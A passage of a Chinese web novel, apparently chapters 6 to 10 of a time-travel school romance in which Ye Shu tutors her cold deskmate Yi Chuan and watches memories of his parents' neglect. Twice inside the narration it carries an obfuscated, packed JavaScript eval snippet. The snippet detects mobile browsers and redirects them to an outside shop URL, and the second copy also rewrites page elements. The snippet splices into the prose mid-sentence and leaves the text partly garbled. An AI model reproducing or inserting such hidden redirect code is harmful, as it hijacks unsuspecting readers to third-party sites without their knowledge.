易川没有看她，似在回避她的目光。因此叶舒也不想继续打探下去了，便故作赞叹地回复他：“那你还挺厉害的。” 易川牵了牵嘴角，没 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明亮的阳光已经在树叶上涂了一圈又一圈金色的光环，晃得人眼花。 有一道浅浅的光线透过窗户打在了叶舒的手臂和头发上。叶舒的脸趴在手臂环着的区域里，没有被阳光照到。 易川侧过脸，默默盯着那道光线的位置出神。 教室另一边。 王朗从外面走进来便看见易川正偷偷在“看”叶舒的睡觉，他戏谑地笑着走过去。 易川听见动静，回过神来，抬眼看向王朗。 “易川，你看人叶舒睡觉干嘛？”王朗不怀好意地看着他，似是很期待他的回答。 易川懒得回复这种无聊的问题，轻描淡写地回了一句：“谁看人睡觉。” 王朗：“你刚刚不就在看人睡觉。” 王朗一脚跨进里座，椅子和地板摩擦出一道刺耳的咯吱声。 “！！” 王朗睁大了眼看向睡着的叶舒。 好在，睡着的叶舒没动静。 王朗手指比了个噤声，轻声道：“我的错我的错。” 他还想捉弄易川，压低声音问道：“诶，你刚刚是不是在看叶舒？” 易川白了他一眼：“不是，就刚好看过去了。” 他语气极为平静，王朗自知无趣地撇了撇嘴：“切。” 没意思。 王朗从易川和叶舒成为同桌后就莫名觉得他俩很配。 名字音调一样，叫着名字都觉得配。 不过真要说个中缘由，王朗也说不上来，只是一种感觉。 他喜欢拉郎别人，啥都能拉，嘴巴也不过脑子，什么都敢说，时间久了，大家也就不在意王朗的玩笑话了。 ——“那你挺厉害的。” ——“如果是你，你会是什么感觉？” 叶舒的声音在易川耳边环绕。 易川盯着水壶，脑海里浮现的是幼小的手用劲努力握着锅手柄的画面。 阳光似乎更加浓郁了些，被照射着的课本封面都有了些暖意。 易川顺着光线望去，女生的高马尾凌乱地铺开在桌面上，光线就这么弥漫开来，铺洒至她的发间。 他抬起手，拉了窗帘，把那点阳光拒在了外面。 7. 给他下套 物理课。 叶舒困倦到眼皮直打架，时不时合上眼“钓鱼”。 上班都没这辛苦...... 意识逐渐掉线，眼前逐渐陷入黑暗。 “叩叩。” 迷糊间，一阵轻响传入耳内。 叶舒颤了颤，睁开眼睛。 她睁开眼的那一瞬间，便看见那张熟悉又陌生的面孔。 易川的侧脸。 眼前，易川修长的两指曲着反扣在她桌上。 他拍桌子的力度很轻，刚刚好能把人弄醒。 有一阵不习惯的恍惚，但随即而来的是一种很久远的熟悉感，好像和很久之前的某些片段重合了。 …… 高中那会，她刚喜欢上易川的时候，好像也有一次这样的场景。 她如今日一样困倦，然后被身边的男生叫醒。 迷迷蒙蒙睁开眼帘时便对上那双促狭的眼睛，然后叶舒就会揉揉眼，找回点意识。 “叶舒，好学生可不能打盹。”他眼里闪过狡黠，嘴角噙着若有似无的笑意。 那时的自己太单纯，或者说是愚蠢。大概是被这张脸蛊惑，竟在日久天长中对身边的人起了心思。 …… 叶舒撑着太阳穴冷静了一会，避开易川炙热的视线，自觉丢脸地低下了头。 如果是曾经，她倒不会觉得有什么，但现在的她真不想被他抓到一点可取笑之处。 ...... 好不容易熬到下课铃响，叶舒才彻底放松下来。 “你今天这么那么困？” 易川伴随着轻笑的声音溜进叶舒耳朵里，不用抬头她都知道，他的表情肯定是轻蔑的笑，心里可能还想着“好学生上课还打盹啊”。 叶舒自然不能说都是因为他，也不想理他，冲他摆了摆手便离开了教室。 叶舒去厕所洗了把脸，迫使自己清醒，回程的时候，她步伐缓慢，忧心忡忡地想着易川的事。 刚刚那节物理课她没听。虽然她高中时是理科很好，但一晃也过了那么多年了，除了数学，其他的她心里也没底。 这穿越的时间点真不好。 这个时候的叶舒别说在年级里，在班里都籍籍无名，没人信她会是个学霸，易川那混小子肯定更不会听她的。 叶舒两手不安地捏着，思绪一通乱麻。 不如看看……能不能反着来？ 踌躇间，她已回了教室，离位置越近她越紧张。 直到看见易川的身影在视野中出现，叶舒清了清嗓子，从容地开口：“你早上那节物理课听了吗？” 易川扬了扬眉，没想到叶舒竟然问他这种问题。 但他现在似乎心情不错，思索了一阵，回答了她这无聊的问话：“听了一点点。” 听了就好，正是她想要的。 叶舒再次开口：“那你现在有空告诉我刚刚那节课讲了什么吗？” 易川手中的动作一滞，侧头对上叶舒的眼睛：“我？” “嗯。”叶舒泰然自若，“我刚刚那节课有点困，没到听课，所以想问问你。” 易川面无表情，不知道在想什么。 见此情形，叶舒直接抢占话头，故作失落道：“你不会这个也不愿意告诉我吧？” “......”易川看着叶舒这小女生样，眉心微蹙，沉吟片刻才说，“不记得多少。” 叶舒见事情有转机，表情这才有些释然：“没事，你就说你听了多少就行。” 他狐疑地瞧着她，半晌，才微微颔首以示同意。 - 第四节课下课后，是高一一如往常的大课间。 易川伸了伸懒腰，缓缓起身准备出去逛逛。 刚起身便被人拍了拍，易川低头。 叶舒正半抬头看着他，手拍了拍他的衣角：“这节大课间，你有空给我讲讲物理课讲了什么吗？” 女孩齐刘海下一双弯弯的狐狸眼正盯着他，眼里似乎还有些期待和请求。 易川眉心微不可察地跳了跳，随口敷衍道：“我先打水，回来再说。” 叶舒无视他眼里闪过的一抹嫌弃，收回手，点了点头：“好。” …… 教室外。 快中午了，日光穿过栏杆洒在走廊地上，来往学生很多，步伐踏过阳光，影子在地上荡漾。 易川打了水，喝了一口才盖上盖子，随后望着栏杆外的景色慢慢晃悠着朝教室走去。 快到教室时，被人同班男同学勾上肩膀，易川斜了眼后面的男同学，嫌弃道：“别把手上的水擦我衣服上。” 男生嬉皮笑脸道：“咳，Sorry啦。” 两人靠栏杆旁说话，男生问他：“下午打不打球？” 易川：“看情况吧，应该去。” 易川的手下意识握了握水壶，随后，他回身往教室里走去。 “诶，你去哪？”男生问他。 易川停了脚步，歪着头思索了片刻后才回头说：“突然想到有点事。” - 教室里。 叶舒正在看物理书，尝试恢复些高中的记忆。 听见脚步声，她抬起头，易川正站在她面前，居高临下地看着她，却没吭声。 叶舒站起给他腾位子，等易川坐下后，才试探着问他：“现在有空吗？告诉我早上物理课讲了什么？” 易川微微眯起眼，在脑海里努力回想刚刚物理课上讲的东西：“讲了昨天的作业，然后讲新课加速度公式那些，还有位移。” 戛然而止。 叶舒：“......没了？” 易川：“没了。” 叶舒：“......” 说了跟没说一样，果然不能高估他。叶舒在心里腹诽。 她的嫌弃没有表露出来，只是默默点了点头，接着，她把物理书递过去：“你看看，是哪一课？” 易川伸出手，白净修长的手将书翻来覆去好几回，半晌后才指了一个标题：“就这个。” 他指着位移的公式给她看。 叶舒僵硬地扯了个笑，回了句谢谢。 她找出物理作业便开始写。 她正认真看题，旁边易川的手肘不小心顶到她的手肘，力还不小。 叶舒冷冷地睨了他一眼，易川也看过来，与她视线对上。 他唇角一挑，笑容略带戏谑。 叶舒：……无聊。 “易川。”她念他名字。 “干嘛？” 叶舒没说话，只是面无表情地看着他。 “不好意思咯。” 易川突然说，只是他表情明显带着不情愿。 叶舒微微一愣，随即才反应过来，大概是她的表情太冷漠，易川会错了意，以为她在计较他手肘碰到她 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不过，叶舒见好就收，没再“为难”他，及时收手说：“还是谢谢你。” 须臾，叶舒终于根据例题看懂了这题的思路，她侧头，幅度过大，头发发丝扫过易川的手臂。 易川偏头，就见叶舒对他莞尔一笑，说：“我会了。” 他疑惑：“什么会了？” “这道题，我看懂了。” 叶舒表情有些得意，眼神期待地看着他，在易川眼里散发着好学生的光芒。 可惜他生性毒舌，说不出什么好话，给不了她鼓励。 叶舒确实在等好话，在等易川说出她想要听的那句话。 “怎么做的？” 易川回避了她期待的视线，淡淡问道。 她想要的奖励得到了。 从头到尾，她要的就只是易川给她一个教他做题的机会。 …… 叶舒讲完这道题后，易川难得收敛起懒散的姿态，看着那道题在思考。虽然他表情依旧看不出所以然，但对她来说，也算是个好兆头。 他这副模样，倒是和回忆碎片里认真写作业时的小易川一模一样。 叶舒望着他，有些感慨。 如果易川配合她，那她也可以暂且放下过去帮他，这样，她的攻略任务也会轻松许多。 想到这，她不禁开口：“易川，我突然觉得两个人一起学会事半功倍。” 闻言，易川冷笑：“前提是两个人里没有学渣。” 这话带着刺，只是很明显刺不到叶舒，像是在刺他自己。 “我当然不是在说你。”易川扯了扯嘴角，要笑不笑道。 叶舒沉默了片刻，问他：“之后也能这样吧？” “哪样？” “像我们今天这样，感觉很适用于我们。” 易川似是没想到叶舒竟然还在说学习上的话题，下意识地，脸上又浮现出冷漠腻烦的神情。 他转头，与叶舒那双精致漂亮的眼睛对上，嘴唇翕动。 在叶舒以为他又要说些冷言冷语时，他说： “行啊。” 叶舒：？ 竟然答应了？ 8. 回忆碎片二（上） 今天上午的最后一节课是数学课。 课上一半后，数学老师突然下发小测卷，一时间同学们的怨声载道此起彼伏。 卷子不难，对于叶舒来说，简直是小菜一碟。 做完后，叶舒看着卷面，做着最后的检查。 她正缺一个证明自己的机会。 如果事情可以按照她所想的顺利进行，这次小测成绩出后，她的机会就快要来了。 - 晚自习前。 叶舒呆在教室里写作业，恰巧易川和王朗也都坐在座位上。 她写着作业，偶尔回复王朗问的话题。 不知说到哪，王朗突然提到初中时他父母逼他去上补习班。 昨晚回忆碎片的画面重现至眼前。 叶舒便借由这个话题，主动问易川：“你爸妈对你学习怎么样？” 易川正在看书，没太大反应。 他缓缓抬头，状似思考，但叶舒注意到他眼神黯了黯。 他沉吟了片刻，才开口说道：“他们不怎么管我学习。” 他侧过脸，脸上泛着意味不明的笑意：“就我这样的，他们也不怎么管我。” 叶舒哑言，一时之间不知道回什么，只是默默点了点头。 很快，易川又恢复日常不苟言笑的模样。 叶舒想了一会儿，继而开口：“挺好啊，这样就没有人管你，可以随心所欲。” 王朗也适时羡慕地说：“是啊，我爸妈管我可恐怖了。” 易川眼皮都没抬，敷衍地噢了一声：“是挺好的。” 叶舒故作尴尬地没有回话，片刻后，才做出一个傻白甜式的和善的笑脸，缓和气氛：“他们不管你，但你进步后，他们也会更惊讶。” 听罢，易川嗤笑一声，明显被叶舒的模样骗了过去。 叶舒明知故问：“你笑什么？” 易川：“你这话是觉得我能变学霸吗？” 叶舒：“我不知道，没人知道以后，所以都说不准。” 叶舒表面这么“煲鸡汤”着，心里却在琢磨：你可必须得变啊，你不变我怎么回去？ 易川唇角扬起一个不屑的弧度，似是觉得她吃错药了，淡淡地回了个嗯。 在易川视线移开的那一刻，叶舒原有的笑容消失，脸色有些疲惫。 硬的不行，来软的总行了吧。 虽然套路很俗气，但叶舒没得选，只能尝试“以柔克刚”的方法。 …… 半晌后，晚自习的上课铃声响起。 在这清脆的铃声中，易川突然喊了声叶舒的名字。 “叶舒。” “嗯？” 听见动静，叶舒抬眼看向他。 “你说鸡汤的样子很没信服力。” “......？” “还有，”易川思考了一会继续说，“你假笑的样子很丑，别假笑了。” 叶舒：“......” 这人真的是神经病。 叶舒冷冷地瞪了他一眼，继续写作业。 - 晚自习课间。 易川离开教室了，不在座位上。 叶舒看着物理作业出神，思绪却在易川身上。 现如今，她还没有正当理由可以带着他学习，只能寄希望于“近朱者赤”和“以柔克刚”这种笨方法引导他。 但毕竟不是长久之计，叶舒还在头疼有什么更好的方式能改变他。 ...... 另一边。 易川从外面回到教室的时候，叶舒还坐在位子上专注地写着作业。 课间的教室喧闹嘈杂，只有她安安静静地坐在那，她额前的刘海随着风扇吹出的风微微颤动，碎发拂过鼻梁处小小的驼峰。 他驻步，望着她的方向暗自出神。 看着那倩影盯着作业苦恼的模样，他嘴角微微上翘，轻笑出声，神色有些轻蔑与自嘲。 - 片刻后，易川回来了。 自他回到座位后，眼神便一直直勾勾地望着叶舒。 叶舒余光注意到易川探究的目光，瞥了他一眼，漠然开口：“你一直看我做什么？” “看你作业写到哪了。嗯，还挺快。” 叶舒：“……” 她把作业推到易川那边：“你看这道怎么做？” “又问我？”易川扬眉，明显不耐烦。 叶舒也没胆怯，直直地对上他的眼睛，等着他回应。 没想到的是，预想中易川的回怼并没有出现。 他像是审视了她片刻，颇有些无语地移开了眼，随后看着那道物理题，随口答道：“位移公式？” 见他难得松口回应了她，叶舒连忙趁热打铁：“差不多，但是一开始那个速度算不出来，所以要先算这个距离……” 易川歪着头，还是一副闲散的模样，不过目光一直落在那道题上。 他在认真听。 虽然不知道他记没记住，但叶舒这次的目的也达到了。 先让他慢慢习惯她这样，以后她的教学才会更顺理成章。 ...... 叶舒讲完后，易川才缓缓抬眼，喊了一声她的名字：“叶舒。” 叶舒：“嗯？” “你现在真的很像个啰嗦的老师。” “......” “你以后去当老师吧，很适合你。”易川戏谑她道。 没想到易川能一语中的，叶舒皮笑肉不笑地扯了扯嘴角，不想回他的问题。 她当老师的时候都是学生来问她问题，这样卑微给人讲题的状况还是头一次。 易川慢条斯理开口，玩笑中又带着几分认真：“你努把力，说不定以后大家都不去问高子昂题目了，转来问你。” 高子昂是班里公认的理科学霸，数学小测次次第一，为人洒脱，有问必答，每天都有很多人找他问问题。 “没那么夸张。”叶舒表面谦虚，心中默默想笑。 “说不准呢，”易川淡淡地环视教室一周，眼神又落在她脸上，“不是你说的吗？没人知道以后，说不定呢。” 叶舒怔了怔，正想着怎么回时，第二节晚自习的上课铃适时响起。 回过神来，她嘴角浮现出一个很浅的笑。 她成功了。 看来她“以柔克刚”很适用易川，正中下怀。 只是，她还需要一个重要的契机。 一个能让易川觉得自己是学霸，对她刮目相看，以后可以“有求于她”的契机。 叶舒想起，今天的数学小测。 如果快的话，明天就能见分晓了。 - 深夜。 叶舒入睡后，再一次听见了系统的声音。 “恭喜攻略者解锁进度二。” 闻言，叶舒睁开眼，又到了熟悉的地方——易川的家。 她回想上次的情形，猜测这次大概还是旁观易川的某段故事。 她环顾了四周，走到客厅的沙发坐下。 易川家中陈设没什么变化，只有一些地方的摆设变了。 玄关处传来声响，叶舒回头望去，易川父亲带着两个少年回来了。 易川爸爸没有太大变化，只是眉眼间多了些为人父的疲态。 两位少年和易川眉眼间有些神似，应该就是他的哥哥们——易轩和易铭。 两个少年背着包准备上楼，易川爸爸突然开口说话：“易轩，你觉得考得怎么样？” 头发稍长的少年开口回话，言语里有些散漫：“还行吧，不好不坏。”说着他便大步流星地上楼了。 他的语气瞬间让叶舒瞬间想起了易川。 易川爸爸继而开口，语气染上了严肃：“这是高考，是决定你终生的考试。” “那你想怎么样，考都考完了，我也不能再考一遍。” 易轩停下脚步，但没有回头。 剑拔弩张的气息弥漫在客厅。 另一位男生开口缓和气氛：“考完了就不说这些了。” 易父没说话，回身收拾起自己的东西。 此时，楼上探出了一个小脑袋吸了叶舒的注意——易川。 他长大了一点，头发多了一点，脸上仍稚气未脱，俊秀的五官已初具雏形。 易轩上了楼，客厅陷入诡异的沉默。 易铭倒了杯水也准备上楼，易川父亲叫住他：“易铭，你刚刚说的补习班什么时候要上？” “明天就有一节。”易铭回答。 “明天啊，”易父若有所思，“明天什么时候？” “明天下午2点。” 易父思考了一下才回应男生，语气有些无可奈何：“行吧，应该来得及，明天把你送去我再走。” 易铭乖乖地应了声好离开，易父又开口问：“你最近学习怎么样，之前你家长会我没去。” “还可以吧，”易铭回答， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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易轩叹了口气，伸出手按在易川脑袋上，包住了易川半个脑袋：“易铭和你考得好就行，以后你也努力学习，超过你大哥。” “行了，你写作业没，快写作业，我看着你写！” 易轩生硬地换了个话题。 小易川听见易轩说这话，不情不愿地走回书桌前拿出作业本。 他将作业本一本一本拿出来给易轩过目。 叶舒看着摊开的作业本，歪七扭八的字迹透露着一股认真劲儿。 这时候的易川显然也很乖。 那究竟是什么时候开始变化的？ 易川很像易轩，可是看易轩这样，对弟弟的引导也很正向。 究竟是哪里出了问题。 正疑惑着，只见易轩叮嘱了几个错误后便离开了易川的房间。 叶舒想看看易轩和易铭在做什么，便跟了出去。 她跟着易轩，看见他放下书包后便拿了衣服去浴室洗澡。 于是，她换了个方向，缓缓走到另一个房间。 易铭在做作业，桌面上摊放着几沓试卷与试题册。白炽灯的光冷白刺眼，晃得人眼睛不舒服。 叶舒走近书桌。 从试卷来看，易铭是高二理科在读。几张小测卷上的分数都挺不错的，每张试卷上的错题旁还有工整清晰的红色订正。 易铭写完一道大题，重重地叹了口气，一脸终于释然的闲适。 随后，易铭直起身，从抽屉里拿出一本书开始看。 叶舒俯身去看书的封面，是当年很出名的玄幻小说的续作。 他翻看了几面，门外突然传来响声，他瞬间关上书并将书迅速压在教材书下，低头故作镇定。 “惊弓之鸟”的易铭正一脸紧张，准备把小说收进了抽屉。 下一秒，易轩的声音适时从外传来，他的表情才松懈下来。 不同的孩子，不同的境遇与心事。 叶舒重新回到易川房间。 小易川坐在书桌前，正在改刚刚易轩指出的错误。 还未等叶舒走近易川，周围环境便开始溶解混沌。 又要变化了。 9. 回忆碎片二（下） 下一个瞬间，易川的房间再次出现在叶舒眼前。 这次，易川身着蓝色校服，领口规整地系着红领巾。他站在书桌旁，在书包里搜寻着什么。 很快，他找出一张卷子急匆匆地跑出房门，叶舒跟着他出去。 男孩走得很快，她差点没追上。 “妈妈，妈妈！”易川拿着卷子一甩一甩的，语气急切。 易川母亲温柔的声音从房间里悠悠传来：“怎么啦？” 易川进了母亲房间，将试卷递给她：“妈妈，这是期中试卷，老师说要签名。” 易母拉着易川坐下：“行，我来看看。”说着，便拿起他的试卷端详。 小易川盯着易母，眼神带着明显的期待。 “语文93数学91，还可以嘛！”易母在分数旁签下自己的名字，翻到英语试卷时表情愣了一下，“英语82，怎么英语才82呢？” 小易川不知所措地低下了头，嘴里嗫嚅着不知道在解释什么。 “你英语不好吗，易川？”易母的言语平静，听不出什么语气。 “嗯……一点点……”叶舒看着已经到她腰前的易川头低着，手指无措地攥着衣角。 易母看着他沉默了一会才幽幽地开口：“那你要加油啊，现在就考82以后你怎么办？学学你二哥，他在你这个年纪没考过90分以下。” 很典型的父母的话语，这些东西究竟是怎么做到查重率那么高的？ 叶舒虽然从小成绩就不错，但这些话她也听过多次。 她看向易川那张小脸，他有些窘迫但还是乖巧地点了点头。 她不禁怀疑，易川难不成是因为这次受打击后才自暴自弃的？ 此时，易父从一旁的书房出现，易母还在苦口婆心地教育孩子，易父出言打断：“唉，你说这些干什么呢，你这不是吓孩子吗？” 易父边整理衣着边问：“易川考多少？” “语文93，数学91，英语82。”易母不咸不淡地回他。 易父转过身来：“没易轩低不就行了，不求都像易铭那样，难道你还想有个易轩那样的啊？” 言语似在为易川说话，语气却是明晃晃的无谓。 易川本欣慰的表情在听到这句话后顿时变得难看。 两位大人在说话，没有人注意到他神色的变化。 易父还在说：“别太高要求，有个易铭就不错咯。” 几句话如同冰锥刺进易川的心里。 窗外蝉鸣声声，明明是夏天，他却平白觉得寒冷。 他站在这个房间里，成为父母的谈话，被父母审判，感觉如坠冰窟。 想逃离，脚却没有力气挪开步子。 叶舒注意到了小易川的神情变化。 她看出了易川的沮丧。 在她记忆里，易川对什么都是一种漠不关心、玩世不恭的状态。 原来，他也曾在意过成绩的好坏和父母的褒奖吗？ 原来如此。 她似乎猜到了……易川变化的原因。 比起被嫌弃和训斥，更让他伤心的是自己父母压根就没把他放在眼里吧。 他们从未对易川抱过希望，也不希冀他有什么成绩，只要不是最坏就好了。 是最坏也没关系，反正有易铭，反正他们也不在意。 两人的谈论还在继续。 易母叹了口气：“也是，能有易铭这样的已经是我们烧高香了。” 她把签完名的试卷递给小易川，说：“那易川你自己加油努力，下次考高点，妈妈相信你。” 她拍了拍小易川的头，易川甚至还未来得及感受母亲手心里的温度，那只手便离开了。 烟花绽放尚且需要时间，而他们给他的温度，转瞬即逝。 叶舒突然就想到了自己。 小时候妈妈对她学习很严厉，不过她也很争气，成绩从未差过。可是妈妈还是不满意，要她一直考高分，要她名列前茅。 她记得，小小年纪的她每次出成绩都不敢看，她怕分数不高，达不到母亲的要求。即使她觉得已经够了，可是对于妈妈来说，还不够好。 究竟要多好才足够？ 人这一辈子好像都在争个高下。 …… 小易川的头低着，看不见他现在的表情。 成绩好的成绩差的都免不了这些命运，在他身上还有着无数孩子的影子，他们一辈子都在被分数、等级、褒奖绑架。 比起斥责他的父母，叶舒此时更想开口安慰一下他。 无关易川。 只是安慰一下这个孩子。 可是他也听不到。 那时候，在这间屋子里，他该有多煎熬。 身体突然有种被抽离之感，叶舒还在奇怪，倏忽听到天花板传来音乐声。 ...... 叶舒挣扎着睁开眼，窗口透出的阳光洒进房间，整间屋子尤为亮堂。 又回来了。 叶舒强撑着精神摁下闹铃，然后闷哼一声又躺进被褥里。 - 课间。 叶舒正整理着上节课的笔记，身边，数学课代表走到了她周围，分发着昨天的数学小测卷。 A4纸的纯白小测卷从她眼前落下，叶舒凝神一看，是易川的卷子。 他的名字旁是红色的30分。 小测卷考的都是选择填空，满分80分，他就对了6道。 勉勉强强，他的正常发挥...... “叶舒，你这次考得很高！”数学课代表把卷子递给她，惊讶着赞叹道，“就错了一道，第一！和高子昂一个分数！” 叶舒冲他礼貌性地笑了笑：“谢谢。” “好厉害，怎么做到突然这么高？” 他记得，叶舒以前都是50分游走，什么时候可以和高子昂比拟过。 她浅浅一笑：“刚好都会。” 如果是别的她还没那么自信，数学确实正好撞到她铁板。 若她没有空着最后的填空题的话，应该是满分。 只是，即使是理科天赋极高的高子昂都从未拿过满分，树大招风，她还是给自己留了一手。 …… 数学课上。 数学老师拿着本子站在讲台上，悠悠地开口道这次小测的情况。 “这次小测，最高分是，75分。有三位，高子昂、林康和叶舒。恭喜这三位同学。” 叶舒伸出手准备鼓掌，便看见王朗转过身，愤然地盯着她。 叶舒：“干什么？” “藏这么深！怪不得你最近一直在学习！你偷学！”王朗一顿输出，“你试卷呢，我要看。” 王朗正准备去拿叶舒的试卷，刚拿到，手里的试卷却先一步被别人拿走。 他扭头，发现正是易川一瞬间拿过了叶舒的试卷。 似是故意与王朗作对一般，易川目光散漫地打量着那张试卷。 感觉他大概率看不懂。 王朗默默骂了句，朝他撇了撇嘴，索性直接问叶舒，“那你给我讲讲，这第七题怎么做？” 叶舒：“老师要开始评讲了，你要是还不懂再问我吧。” 王朗听见叶舒这么说，只好默默转回去，继续听课。 教室的另一边。 隔着一个组，林康正定定地看着他们那块区域。 “给我。”叶舒示意易川。 易川看着卷子上一个个的勾，他其实看不懂孰对孰错，就是百无聊赖地想抢过来逗逗两人。 如今逗完了，他便觉得索然无味，将试卷还给了叶舒。 “我看看你的。”叶舒对他说。 “30分有啥好看的，要知道你考那么高我就抄你的了。” 叶舒嗤笑出声：“那你人还挺好的，说要抄我的又没抄。” “……” 他没说话了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461873|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 易川出言呛她：“认真听课，别以为第一了就不用听课了。” 叶舒收回视线，暗暗白了他一眼。 这家伙还挺会转话题。 “你们要讲第几题啊？”老师拿着小测卷开口问。 “7、8、11” “第6，第10！” “……” 教室里轰然一下炸开，此即彼伏的数字叽叽喳喳的蹦出来。 这种时刻易川和叶舒都没参与，静静地看着各自的卷子。 大概是报复易川刚刚的行为，王朗抢过他的卷子，讥笑道：“易川，你第五题也错了啊。” 哪知，在这么嘈杂的环境里，数学老师竟捕捉到了王朗的这声嘲讽，回过头说：“谁错了第五题，第五题这不是很基础吗？” “老师，是他！”王朗指了指后面的易川。 叶舒看着身旁的易川。 虽说很平常的他没什么两样，但她注意到他唇线抿直，周身散发出一股森冷的怨气。 这王朗也真是缺心眼。 数学老师看了眼易川，直言道：“你同桌不是第一吗？问她不就好了。我直接从第六题开始讲起哈，来看……” 叶舒侧头，便与易川的目光对上。 “那只能你教我了，第一。” 易川似笑非笑着，拖着尾音说道，低醇的声音将说出口的话带上些暧昧。 叶舒没被他这装腔作势吓到，她一脸平静，直直地对上易川那深邃的眼睛。 “好啊。” 她要的契机来了。 - 课后。 叶舒怕易川反悔，一下课便拿着易川的试卷开始讲解错题。 难得的是，易川这次倒没嫌她，自觉地把自己的试卷给她。 他大概是很无聊，撑着脑袋，心不在焉地看着她。 讲着讲着，易川的视线从试卷上渐渐移到叶舒的脸上。 “你看哪呢？看试卷。”叶舒见他在看自己根本没看试卷，提高声音道。 易川把手放下，懒洋洋地回答：“行，你是第一都听你的。” 叶舒：“......” 这话总觉得有点阴阳怪气。 她正给易川讲着，王朗也来找她寻求帮助。 叶舒抽不开身，便说：“你找高子昂问问吧。” 王朗转身，看着高子昂周围围了一群人，非常受欢迎，无奈只能转回来：“高子昂那可以说‘高朋满座’了。不过，你怎么就给易川讲，你喜欢易川啊。” 叶舒身躯一震，场面顿时僵住。 这句调侃令叶舒立刻就回想起高中时候。 王朗当年就这么打趣过两人。 他本就是嘴贫的人，而且他只在两人面前调侃，所以当年叶舒并没有在意。 可是后面不知何时就变了味，还被传了出去。 听说，当年便是有越来越多的人开始打趣易川，将她的暗恋舞到易川面前，最后大概是易川不堪其扰，对她的厌恶也越来越深。 直到那场拒绝的风波后，传闻才变了风头——变成年级第一被学渣当众拒绝。 ...... 想到这，叶舒抬头，冷冷地怼了回去：“你做什么都和易川一起，你暗恋易川啊？” 王朗刚要说什么，易川也搭腔开口：“照你这么说，你老嚷着叶舒讲题，你也喜欢叶舒？” “我？喜欢她？！”王朗大笑，仰起头自满道，“她喜欢我还差不多。” 叶舒&易川：“......” 叶舒无奈地闭上眼，揉着山根，不想看他。 身侧的易川似乎嗤笑了一声，叶舒听见后，缓缓睁开眼睛，耳边传来易川轻蔑的话语。 “叶舒人是不聪明，但也不至于眼瞎吧。” 叶舒：“......” 叶舒重新闭上了眼，不想看面前的两人。 两个神经病。 10. 他喜欢过江菱 课间。 教室内的欢闹声此起彼伏。 江菱坐在座位上，将数学小测卷订正完后，在草稿纸上分析许久，绞尽脑汁也没个思路。 她想起今天小测第一的叶舒，便准备拿着卷子去找叶舒。 起身之际，耳边传来温和的声线。 “你在干嘛？” 林康正俯身看着她桌面上的小测卷，脸上是和煦的笑容。 见到来人，江菱下意识地缩了身子。 一直以来，林康对她的态度很奇怪——太过殷勤。 江菱不是傻子，为避免产生不必要误会，她每次的态度都是敬而远之。 “订正卷子，哈哈。”江菱礼貌地朝他笑笑。 林康问她：“你哪题不会啊，我可以帮你看看。” 江菱忙收回卷子，扬起人畜无害的笑容：“哈哈哈没事啦，我已经订完了，我找叶舒问一下就好了。” 她拿起小测试卷就逃离了现场。 林康看着江菱的背影朝着叶舒的位置走去，他脸上和煦的笑容也不复存在。 叶舒。 这个名字他甚至都有点陌生，这个人他也没放在眼里。 印象里，好像只是个比较透明内敛的女生。 林康冷笑了一下，笑容很淡，与他平日的形象十分不符。不过，课间大家都在沉浸在自己的事里，没有人注意到他。 - “叶舒！”江菱兴冲冲走到叶舒座位，便看见叶舒易川两人靠得很近地在讲题。 她立刻噤了声，只是两人已经注意到了她的靠近。 江菱忙抿住嘴，白净的脸上浮现出一丝窘迫：“你们先、讲完，我再问......” 叶舒刚想说话，余光便瞥见身旁易川的身影离远了她一些。 过去的记忆逐渐变得清晰。 她忆起，易川好感过江菱。 那时，对什么都漠不关心、整日一副臭脸的易川只对江菱会展露一丝柔和。 暗恋中的女生总是观察细致，叶舒笃定易川肯定是好感过江菱的。 算算日子，大概就是在不久之后。 只是，这时候的易川与江菱还不熟，所以，他这个避嫌的举动应该只是下意识的。 不过，倒是提醒了叶舒。 “没事啊，你坐这吧。”叶舒指了指前面没人的空位，“我先给他讲完。” 易川手扶着太阳穴遮住了大半张脸，闻言，他默默抬眸，瞥了一眼叶舒，眼里闪过一丝疑惑，但没说话。 看表情，他似乎是以为她会先给江菱讲。 叶舒见易川没动静，敲了敲桌：“别发呆，快听。” 她催促的语气让他放下了戒备。 他手缓缓放下，看了眼叶舒前桌的江菱。 江菱注意到了易川漠然的神情，浓眉下的丹凤眼透露着有些冷漠的探究意味，江菱暗暗咽了咽口水。 易川的形象本来就有些冷厉，在班里风评也不好，现如今他面无表情地瞥了眼她，都让江菱莫名觉得不安。 同学一个多月以来，她和易川并没有说过话，对他的印象只有：长得帅但脸很臭的男同学。 看他那眼神，不会是觉得她打扰他了吧...... 说起来，他不是不爱学习吗，竟然还会问叶舒问题。 不过，以易川的人缘，在班级女生中，他也只能找叶舒了。 他不会—— 江菱被自己的想法惊到，随即安慰自己：不会的不会的，易川看谁都冷冰冰的，应该不会…… 江菱看着一脸认真地同易川讲解题目的叶舒，和她身边看似认真听讲但眉眼间有股淡淡的厌倦的易川，内心的怀疑又渐渐缩了回去。 江菱：看起来好像不像噢…… - 直至上课，叶舒心里还在想着易川和江菱的事。 原世界，易川大概短暂暗恋过江菱。只是分文理科后，两人没了交集，易川也就不了了之了。 他本身就是很随性的人，不仅没对江菱付诸任何实际行动，好感也很短暂。 他俩之间的故事叶舒也不太清楚，她只知道，江菱对易川没什么意思，更何况后来易川拒绝她的事闹得轰轰烈烈的，江菱对易川的印象更差了，两人便彻底断了联系。 不过，喜欢人时的易川倒是挺不一样的。 平常冷淡毒舌的人，在江菱说话时脸上竟会带着淡淡的笑，而且偶尔还会出言夸她。 